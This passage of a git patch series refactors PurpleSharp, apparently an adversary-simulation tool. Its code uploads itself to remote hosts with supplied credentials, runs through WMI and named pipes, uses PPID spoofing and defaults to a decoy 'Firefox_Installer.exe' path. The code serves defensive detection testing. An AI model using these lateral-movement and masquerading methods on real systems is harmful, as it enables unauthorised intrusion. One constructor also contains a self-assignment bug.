cleanup:True"); - else NamedPipes.RunClient(rhost, domain, ruser, rpwd, simulator_np, "technique:" + techniques + " variation:"+ variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:False"); - - Thread.Sleep(5000); - bool finished = false; - int counter = 1; - string results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); - while (finished == false) - { - - if (results.Split('\n').Last().Contains("Playbook Finished")) - { - Console.WriteLine("[+] Obtaining results..."); - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(results); - Console.WriteLine(); - Console.WriteLine("[+] Cleaning up..."); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - finished = true; - } - else - { - Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); - Thread.Sleep(counter * 10 * 1000); - results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); - } - counter += 1; - } - } - } - public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain, string ruser, string rpwd, string techniques, int variation, int pbsleep, int tsleep, string scoutfpath, string scout_np, string simrpath, string simulator_np, string log, bool opsec, bool verbose, bool cleanup) { // techniques that need to be executed from a high integrity process @@ -772,13 +593,13 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain string[] techs = techniques.Split(','); for (int i = 0; i < techs.Length; i++) { - tasks.Add(new PlaybookTask(techs[i])); + tasks.Add(new PlaybookTask(techs[i], variation, tsleep, cleanup)); } } else { - tasks.Add(new PlaybookTask(techniques)); + tasks.Add(new PlaybookTask(techniques, variation, tsleep, cleanup)); } playbook.tasks = tasks; @@ -789,16 +610,6 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain if (privileged_techniques.Contains(techniques.ToUpper())) sim_request.recon_type = "privileged"; byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); - - - /* - SimulationRequestPayload sim_req_payload = new SimulationRequestPayload("regular", simrpath, techniques, variation.ToString(), "ppid", pbsleep.ToString(), tsleep.ToString(), cleanup.ToString()); - if (privileged_techniques.Contains(techniques.ToUpper())) sim_req_payload.recon_type = "privileged"; - SimulationRequest sim_request = new SimulationRequest("SYN", sim_req_payload); - byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); - result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); - */ - SimulationResponse sim_response = JsonConvert.DeserializeObject(result); if (sim_response.header.Equals("SYN/ACK")) @@ -924,259 +735,7 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain } } } - - public static SimulationPlaybookResult ExecuteRemoteTechniquesJson(string rhost, string domain, string ruser, string rpwd, string techniques, int pbsleep, int tsleep, string scoutfpath, string scout_np, string simrpath, string log, bool opsec, bool verbose) - { - // techniques that need to be executed from a high integrity process - string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; - - string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; - int index = scoutfpath.LastIndexOf(@"\"); - string scoutFolder = scoutfpath.Substring(0, index + 1); - Thread.Sleep(3000); - - if (opsec) - { - string result = ""; - string args = "/o"; - - //Console.WriteLine("[+] Uploading Scout to {0} on {1}", scoutfpath, rhost); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); - - //Console.WriteLine("[+] Executing the Scout via WMI ..."); - RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); - //Console.WriteLine("[+] Connecting to namedpipe service ..."); - - result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "SYN"); - if (result.Equals("SYN/ACK")) - { - //Console.WriteLine("[+] OK"); - - if (privileged_techniques.Contains(techniques.ToUpper())) result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:privileged"); - else result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:regular"); - - string[] payload = result.Split(','); - string duser = payload[0]; - - - if (duser == "") - { - Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); - Thread.Sleep(1000); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - //Console.WriteLine("[!] Exitting."); - return null; - } - else - { - string user = duser.Split('\\')[1]; - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "simrpath:" + simrpath); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "technique:" + techniques); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "opsec:" + "ppid"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "pbsleep:" + pbsleep.ToString()); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "tsleep:" + tsleep.ToString()); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:True"); - - - string simfpath = "C:\\Users\\" + user + "\\" + simrpath; - int index2 = simrpath.LastIndexOf(@"\"); - string simrfolder = simrpath.Substring(0, index2 + 1); - - string simfolder = "C:\\Users\\" + user + "\\" + simrfolder; - - //Console.WriteLine("[+] Uploading Simulator to " + simfpath); - RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); - - //Console.WriteLine("[+] Triggering simulation..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "act"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); - - System.Threading.Thread.Sleep(5000); - bool finished = false; - int counter = 1; - string results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); - while (finished == false) - { - if (results.Split('\n').Last().Contains("Playbook Finished")) - { - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(results); - Console.WriteLine(); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(simfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(simfolder + log, rhost, ruser, rpwd, domain); - finished = true; - } - else - { - Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); - Thread.Sleep(counter * 10 * 1000); - results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); - } - counter += 1; - } - return Json.GetPlaybookResult(results); - - } - } - else - { - //Console.WriteLine("[!] Could not connect to namedpipe service"); - return null; - } - } - else - { - //Console.WriteLine("[+] Uploading PurpleSharp to {0} on {1}", scoutfpath, rhost); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); - - string cmdline = "/t " + techniques; - //Console.WriteLine("[+] Executing PurpleSharp via WMI ..."); - RemoteLauncher.wmiexec(rhost, scoutfpath, cmdline, domain, ruser, rpwd); - Thread.Sleep(3000); - Console.WriteLine("[+] Obtaining results..."); - string results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(results); - //Console.WriteLine("[+] Cleaning up..."); - //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - // - //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - - return Json.GetPlaybookResult(results); - } - } - - public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(string rhost, string domain, string ruser, string rpwd, string techniques, int pbsleep, int tsleep, string scoutfpath, string scout_np, string simrpath, string log, bool opsec, bool verbose) - { - // techniques that need to be executed from a high integrity process - string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; - - string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; - int index = scoutfpath.LastIndexOf(@"\"); - string scoutFolder = scoutfpath.Substring(0, index + 1); - Thread.Sleep(3000); - - if (opsec) - { - string result = ""; - string args = "/o"; - - //Console.WriteLine("[+] Uploading Scout to {0} on {1}", scoutfpath, rhost); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); - - //Console.WriteLine("[+] Executing the Scout via WMI ..."); - RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); - //Console.WriteLine("[+] Connecting to namedpipe service ..."); - - SimulationRequestPayload sim_req_payload = new SimulationRequestPayload("regular", simrpath, techniques, "1", "ppid", pbsleep.ToString(), tsleep.ToString(), "True"); - if (privileged_techniques.Contains(techniques.ToUpper())) sim_req_payload.recon_type = "privileged"; - SimulationRequest sim_request = new SimulationRequest("SYN", sim_req_payload); - byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); - result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); - SimulationResponse sim_response = JsonConvert.DeserializeObject(result); - - if (sim_response.header.Equals("SYN/ACK")) - { - //Console.WriteLine("[+] OK"); - string duser = sim_response.recon_response.user; - if (duser == "") - { - - Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); - sim_request = new SimulationRequest("FIN"); - result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); - Thread.Sleep(1000); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - //Console.WriteLine("[!] Exitting."); - return null; - } - else - { - string user = duser.Split('\\')[1]; - string simfpath = "C:\\Users\\" + user + "\\" + simrpath; - int index2 = simrpath.LastIndexOf(@"\"); - string simrfolder = simrpath.Substring(0, index2 + 1); - - string simfolder = "C:\\Users\\" + user + "\\" + simrfolder; - - //Console.WriteLine("[+] Uploading Simulator to " + simfpath); - RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); - - //Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); - sim_request = new SimulationRequest("ACT"); - result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); - - System.Threading.Thread.Sleep(5000); - bool finished = false; - int counter = 1; - string results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); - while (finished == false) - { - if (results.Split('\n').Last().Contains("Playbook Finished")) - { - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(results); - Console.WriteLine(); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(simfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(simfolder + log, rhost, ruser, rpwd, domain); - finished = true; - } - else - { - Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); - Thread.Sleep(counter * 10 * 1000); - results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); - } - counter += 1; - } - return Json.GetPlaybookResult(results); - - } - } - else - { - //Console.WriteLine("[!] Could not connect to namedpipe service"); - return null; - } - } - else - { - //Console.WriteLine("[+] Uploading PurpleSharp to {0} on {1}", scoutfpath, rhost); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); - - string cmdline = "/t " + techniques; - //Console.WriteLine("[+] Executing PurpleSharp via WMI ..."); - RemoteLauncher.wmiexec(rhost, scoutfpath, cmdline, domain, ruser, rpwd); - Thread.Sleep(3000); - Console.WriteLine("[+] Obtaining results..."); - string results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(results); - //Console.WriteLine("[+] Cleaning up..."); - //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - // - //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - - return Json.GetPlaybookResult(results); - } - } - - public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized2(string rhost, string domain, string ruser, string rpwd, string scout_np, SimulationPlaybook playbook, string log, bool verbose) + public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(string rhost, string domain, string ruser, string rpwd, string scout_np, SimulationPlaybook playbook, string log, bool verbose) { // techniques that need to be executed from a high integrity process string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; @@ -1298,8 +857,7 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized2(st return Json.GetPlaybookResult(results); } } - - public static void ExecuteTechnique(string technique, int variation, int nuser, int nhosts, int tsleep, string log, bool cleanup) + public static void ExecutePlaybookTechniqueOld(string technique, int variation, int nuser, int nhosts, int tsleep, string log, bool cleanup) { var rand = new Random(); @@ -1563,8 +1121,7 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, } } - - public static void ExecuteTechnique2(PlaybookTask task, string log) + public static void ExecutePlaybookTechnique(PlaybookTask task, string log) { var rand = new Random(); @@ -1828,7 +1385,7 @@ public static void ExecuteTechnique2(PlaybookTask task, string log) } } - public static void ExecuteTechniques(string technique, int variation, int nuser, int nhosts, int pbsleep, int tsleep, string log, bool cleanup) + public static void ExecutePlaybookOld(string technique, int variation, int nuser, int nhosts, int pbsleep, int tsleep, string log, bool cleanup) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); @@ -1838,25 +1395,24 @@ public static void ExecuteTechniques(string technique, int variation, int nuser, string[] techniques = technique.Split(','); for (int i=0; i < techniques.Length; i++) { - ExecuteTechnique(techniques[i].Trim(), variation, nuser, nhosts, tsleep, log, cleanup); + ExecutePlaybookTechniqueOld(techniques[i].Trim(), variation, nuser, nhosts, tsleep, log, cleanup); if (pbsleep > 0 && i != techniques.Length-1) Thread.Sleep(1000 * pbsleep); } logger.TimestampInfo("Playbook Finished"); } else { - ExecuteTechnique(technique, variation, nuser, nhosts, tsleep, log, cleanup); + ExecutePlaybookTechniqueOld(technique, variation, nuser, nhosts, tsleep, log, cleanup); logger.TimestampInfo("Playbook Finished"); } } - - public static void ExecuteTechniques2(SimulationPlaybook playbook, string log) + public static void ExecutePlaybook(SimulationPlaybook playbook, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); foreach (PlaybookTask task in playbook.tasks) { - ExecuteTechnique2(task, log); + ExecutePlaybookTechnique(task, log); if (playbook.playbook_sleep > 0 ) Thread.Sleep(1000 * playbook.playbook_sleep); logger.TimestampInfo("Playbook Finished"); } From 395cc03951caad9238bda3c4461980238d781e46 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Sun, 28 Mar 2021 23:11:09 -0400 Subject: [PATCH 07/20] adding Models.cs. Initial approach for object cmdline parameters --- PurpleSharp/Lib/Json.cs | 216 ---------------- PurpleSharp/Lib/Models.cs | 254 +++++++++++++++++++ PurpleSharp/Lib/NamedPipes.cs | 6 +- PurpleSharp/Program.cs | 448 +++++++-------------------------- PurpleSharp/PurpleSharp.csproj | 1 + 5 files changed, 347 insertions(+), 578 deletions(-) create mode 100644 PurpleSharp/Lib/Models.cs diff --git a/PurpleSharp/Lib/Json.cs b/PurpleSharp/Lib/Json.cs index 30aff98..a1c5e95 100644 --- a/PurpleSharp/Lib/Json.cs +++ b/PurpleSharp/Lib/Json.cs @@ -5,222 +5,6 @@ namespace PurpleSharp.Lib { - // Input classes - public class SimulationExercise - { - public string domain { get; set; } - public string username { get; set; } - public string dc { get; set; } - public int sleep { get; set; } - public string type { get; set; } - public List playbooks { get; set; } - } - - - public class SimulationPlaybook - { - public string name { get; set; } - public string scout_full_path { get; set; } - public string simulator_relative_path { get; set; } - public int playbook_sleep { get; set; } - public string remote_host { get; set; } - public string opsec { get; set; } = "ppid"; - public List tasks { get; set; } - } - - public class PlaybookTask - { - public string technique { get; set; } - public int variation { get; set; } = 1; - public int task_sleep { get; set; } = 0; - public bool cleanup { get; set; } = true; - public int target_users { get; set; } = 10; - public int target_hosts { get; set; } = 10; - - public PlaybookTask() - { - } - - public PlaybookTask(string tech, int var, int t_sleep, bool cl = true) - { - technique = tech; - variation = var; - task_sleep = t_sleep; - cleanup = cleanup; - } - } - - - // Result classes - public class SimulationExerciseResult - { - public List playbookresults { get; set; } - } - - public class SimulationPlaybookResult - { - public string name { get; set; } - public string host { get; set; } - public string user { get; set; } - public string simprocess { get; set; } - public int simprocessid { get; set; } - - public List taskresults { get; set; } - } - - public class PlaybookTaskResult - { - public string timestamp { get; set; } - public string technique { get; set; } - //public string host { get; set; } - public bool success { get; set; } - public List debugmsgs { get; set; } - - } - public class TaskDebugMsg - { - public string msg { get; set; } - } - - // ATT&CK Classes - - public class NavigatorLayer - { - public string name { get; set; } - public string version { get; set; } - public string domain { get; set; } - public string description { get; set; } - public bool hideDisabled { get; set; } - - public NavigatorFilters filters { get; set; } - public List techniques { get; set; } - - - //public Gradient gradient { get; set; } - //public object[] legendItems { get; set; } - //public object[] metadata { get; set; } - //public bool showTacticRowBackground { get; set; } - //public string tacticRowBackground { get; set; } - //public bool selectTechniquesAcrossTactics { get; set; } - } - - public class NavigatorFilters - { - public string[] stages { get; set; } - public string[] platforms { get; set; } - } - - public class NavigatorGradient - { - public string[] colors { get; set; } - public int minValue { get; set; } - public int maxValue { get; set; } - } - - public class NavigatorTechnique - { - public string techniqueID { get; set; } - //public string tactic { get; set; } - public string color { get; set; } - //public string comment { get; set; } - public int score { get; set; } - public bool enabled { get; set; } - //public object[] metadata { get; set; } - } - - - // Named Pipe Comms Classes - - public class SimulationRequest - { - public string header; - - public SimulationRequestPayload sim_request_payload; - - public SimulationRequest(string type, SimulationRequestPayload sr = null) - { - header = type; - sim_request_payload = sr; - } - } - - public class SimulationRequest2 - { - public string header; - - public string recon_type; - - public SimulationPlaybook playbook; - - public SimulationRequest2(string hd, string re_type = "", SimulationPlaybook pb = null) - { - header = hd; - recon_type = re_type; - playbook = pb; - } - } - - public class SimulationRequestPayload - { - public string recon_type; - - public string simulator_rpath; - - public string techniques; - - public string variation; - - public string opsec; - - public string playbook_sleep; - - public string task_sleep; - - public string cleanup; - - public SimulationRequestPayload(string recon, string simrpath, string techs, string var, string ops, string pbsleep, string tsleep, string clnup) - { - recon_type = recon; - simulator_rpath = simrpath; - techniques = techs; - variation = var; - opsec = ops; - playbook_sleep = pbsleep; - task_sleep = tsleep; - cleanup = clnup; - } - } - - public class SimulationResponse - { - public string header; - - public ReconResponse recon_response; - - public SimulationResponse (string stat, ReconResponse recon_resp=null) - { - header = stat; - recon_response = recon_resp; - - } - } - public class ReconResponse - { - public string user; - - public string process; - - public string process_id; - - public string process_integrity; - public ReconResponse(string u, string proc, string proc_id, string proc_int) - { - user = u; - process = proc; - process_id = proc_id; - process_integrity = proc_int; - } - } class Json { diff --git a/PurpleSharp/Lib/Models.cs b/PurpleSharp/Lib/Models.cs new file mode 100644 index 0000000..10f5d8b --- /dev/null +++ b/PurpleSharp/Lib/Models.cs @@ -0,0 +1,254 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Management.Automation.Host; +using System.Runtime.CompilerServices; +using System.Text; +using System.Threading.Tasks; + +namespace PurpleSharp.Lib +{ + // Command Line Parameter Model + public class CommandlineParameters + { + public string scout_full_path; + + public string simulator_relative_path; + + public string remote_host; + + public string remote_user; + + public string remote_password; + + public string domain; + + public string techniques; + + public string domain_controller; + + public int variation; + + public int playbook_sleep; + + public int task_sleep; + + public bool cleanup; + + public bool opsec; + + public bool verbose; + + public string scout_namepipe; + + public string simulator_namedpipe; + + public string log_filename; + + public CommandlineParameters() + { + + } + public CommandlineParameters(string scout_path, string simulator_path, string rhost, string ruser, string rpwd, string d, string techs, string dc, string scout_np, string simulator_np, string log, int var, int pbsleep, int tsleep, bool cln, bool ops, bool verb ) + { + scout_full_path = scout_path; + simulator_relative_path = simulator_path; + remote_host = rhost; + remote_user = ruser; + remote_password = rpwd; + domain = d; + techniques = techs; + domain_controller = dc; + scout_namepipe = scout_np; + simulator_namedpipe = simulator_np; + log_filename = log; + variation = var; + playbook_sleep = pbsleep; + task_sleep = tsleep; + cleanup = cln; + opsec = ops; + verbose = verb; + } + } + + // Input classes + public class SimulationExercise + { + public string domain { get; set; } + public string username { get; set; } + public string dc { get; set; } + public int sleep { get; set; } + public string type { get; set; } + public List playbooks { get; set; } + } + + + public class SimulationPlaybook + { + public string name { get; set; } + public string scout_full_path { get; set; } + public string simulator_relative_path { get; set; } + public int playbook_sleep { get; set; } + public string remote_host { get; set; } + public string opsec { get; set; } = "ppid"; + public List tasks { get; set; } + public SimulationPlaybook(int pbsleep) + { + playbook_sleep = pbsleep; + + } + public SimulationPlaybook() + { + + } + } + + public class PlaybookTask + { + public string technique { get; set; } + public int variation { get; set; } = 1; + public int task_sleep { get; set; } = 0; + public bool cleanup { get; set; } = true; + public int target_users { get; set; } = 10; + public int target_hosts { get; set; } = 10; + + public PlaybookTask() + { + } + + public PlaybookTask(string tech, int var, int t_sleep, bool cl = true) + { + technique = tech; + variation = var; + task_sleep = t_sleep; + cleanup = cleanup; + } + } + + + // Result classes + public class SimulationExerciseResult + { + public List playbookresults { get; set; } + } + + public class SimulationPlaybookResult + { + public string name { get; set; } + public string host { get; set; } + public string user { get; set; } + public string simprocess { get; set; } + public int simprocessid { get; set; } + + public List taskresults { get; set; } + } + + public class PlaybookTaskResult + { + public string timestamp { get; set; } + public string technique { get; set; } + //public string host { get; set; } + public bool success { get; set; } + public List debugmsgs { get; set; } + + } + public class TaskDebugMsg + { + public string msg { get; set; } + } + + // ATT&CK Classes + + public class NavigatorLayer + { + public string name { get; set; } + public string version { get; set; } + public string domain { get; set; } + public string description { get; set; } + public bool hideDisabled { get; set; } + + public NavigatorFilters filters { get; set; } + public List techniques { get; set; } + + + //public Gradient gradient { get; set; } + //public object[] legendItems { get; set; } + //public object[] metadata { get; set; } + //public bool showTacticRowBackground { get; set; } + //public string tacticRowBackground { get; set; } + //public bool selectTechniquesAcrossTactics { get; set; } + } + + public class NavigatorFilters + { + public string[] stages { get; set; } + public string[] platforms { get; set; } + } + + public class NavigatorGradient + { + public string[] colors { get; set; } + public int minValue { get; set; } + public int maxValue { get; set; } + } + + public class NavigatorTechnique + { + public string techniqueID { get; set; } + //public string tactic { get; set; } + public string color { get; set; } + //public string comment { get; set; } + public int score { get; set; } + public bool enabled { get; set; } + //public object[] metadata { get; set; } + } + + + // Named Pipe Comms Classes + + public class SimulationRequest + { + public string header; + + public string recon_type; + + public SimulationPlaybook playbook; + + public SimulationRequest(string hd, string re_type = "", SimulationPlaybook pb = null) + { + header = hd; + recon_type = re_type; + playbook = pb; + } + } + public class SimulationResponse + { + public string header; + + public ReconResponse recon_response; + + public SimulationResponse(string stat, ReconResponse recon_resp = null) + { + header = stat; + recon_response = recon_resp; + + } + } + public class ReconResponse + { + public string user; + + public string process; + + public string process_id; + + public string process_integrity; + public ReconResponse(string u, string proc, string proc_id, string proc_int) + { + user = u; + process = proc; + process_id = proc_id; + process_integrity = proc_int; + } + } +} diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index 8ee5b6b..15b3896 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -241,7 +241,7 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n var messageBytes = ReadMessage(pipeServer); var line = Encoding.UTF8.GetString(messageBytes); logger.TimestampInfo("Received from client: " + line); - SimulationRequest2 sim_request = JsonConvert.DeserializeObject(line); + SimulationRequest sim_request = JsonConvert.DeserializeObject(line); if (sim_request.header.Equals("SYN")) { @@ -291,7 +291,7 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n //logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + s_payload.techniques + " pbsleep:" + s_payload.playbook_sleep + " tsleep:" + s_payload.task_sleep + " cleanup:" + s_payload.cleanup); logger.TimestampInfo("Sending Simulation Playbook to Simulation Agent through namedpipe: " + PlaybookToSend.simulator_relative_path); - byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest2("ACK", "", PlaybookToSend))); + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest("ACK", "", PlaybookToSend))); string result = NamedPipes.RunNoAuthClientSerialized(simulator_np, bytes_sim_rqeuest); logger.TimestampInfo("Received back from Simulator " + result); } @@ -411,7 +411,7 @@ public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, st var messageBytes = ReadMessage(pipeServer); var line = Encoding.UTF8.GetString(messageBytes); logger.TimestampInfo("Received from client: " + line); - SimulationRequest2 sim_request = JsonConvert.DeserializeObject(line); + SimulationRequest sim_request = JsonConvert.DeserializeObject(line); playbook = sim_request.playbook; sim_response = new SimulationResponse("ACK"); diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index f78c00e..315b191 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -8,6 +8,7 @@ using PurpleSharp.Lib; using Newtonsoft.Json; using System.Threading.Tasks; +using System.Management.Automation.Language; namespace PurpleSharp { @@ -47,6 +48,7 @@ public static void Main(string[] args) opsec = cleanup = true; verbose = scoutservice = simservice = newchild = scout = remote = navigator = false; techniques = rhost = domain = ruser = rpwd = dc = pb_file = nav_action = navfile = scout_action = ""; + CommandlineParameters config_params=new CommandlineParameters(); scoutfpath = "C:\\Windows\\Temp\\Scout.exe"; simrpath = "Downloads\\Firefox_Installer.exe"; @@ -62,15 +64,12 @@ public static void Main(string[] args) string[] credential_access = new string[] { "T1110.003", "T1558.003", "T1003.001" }; string[] discovery = new string[] { "T1135", "T1046", "T1087.001", "T1087.002", "T1007", "T1033", "T1049", "T1016", "T1083", "T1482", "T1201","T1069.001", "T1069.002", "T1012", "T1518.001", "T1082", "T1124" }; string[] lateral_movement = new string[] { "T1021", "T1021.006", "T1047" }; - string[] supported_techniques = execution.Union(persistence).Union(privelege_escalation).Union(defense_evasion).Union(credential_access).Union(discovery).Union(lateral_movement).ToArray(); - if (args.Length == 0) { Usage(); return; - } for (int i = 0; i < args.Length; i++) @@ -160,6 +159,7 @@ public static void Main(string[] args) } + config_params = new CommandlineParameters(scoutfpath, simrpath, rhost, ruser, rpwd, domain, techniques, dc, scout_np, simulator_np, log, variation, pbsleep, tsleep, cleanup, opsec, verbose); //// Handling Internal Parameters //// if (newchild) @@ -184,12 +184,6 @@ public static void Main(string[] args) } if (simservice) { - //string[] options = NamedPipes.RunSimulationServiceSerialized(simulator_np, log); - //ExecuteTechniques(options[0], Int32.Parse(options[1]), nusers, nhosts, Int32.Parse(options[2]), Int32.Parse(options[3]), log, bool.Parse(options[4])); - - //SimulationRequestPayload sim_payload = NamedPipes.RunSimulationServiceSerialized(simulator_np, log); - //ExecuteTechniques(sim_payload.techniques, Int32.Parse(sim_payload.variation), nusers, nhosts, Int32.Parse(sim_payload.playbook_sleep), Int32.Parse(sim_payload.task_sleep), log, bool.Parse(sim_payload.cleanup)); - SimulationPlaybook playbook = NamedPipes.RunSimulationServiceSerialized(simulator_np, log); ExecutePlaybook(playbook, log); return; @@ -365,8 +359,6 @@ public static void Main(string[] args) int index = random.Next(targets.Count); Console.WriteLine("[+] Picked random host for simulation: " + targets[index].Fqdn); Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn); - //playbookResults = ExecuteRemoteTechniquesJson(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); - //playbookResults = ExecuteRemoteTechniquesJsonSerialized(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.playbook_sleep, playbook.tsleep, playbook.scout_full_path, scout_np, playbook.simulator_relative_path, log, true, false); playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass, scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; @@ -377,7 +369,6 @@ public static void Main(string[] args) else { Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.remote_host); - //playbookResults = ExecuteRemoteTechniquesJson(playbook.host, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); playbookResults = 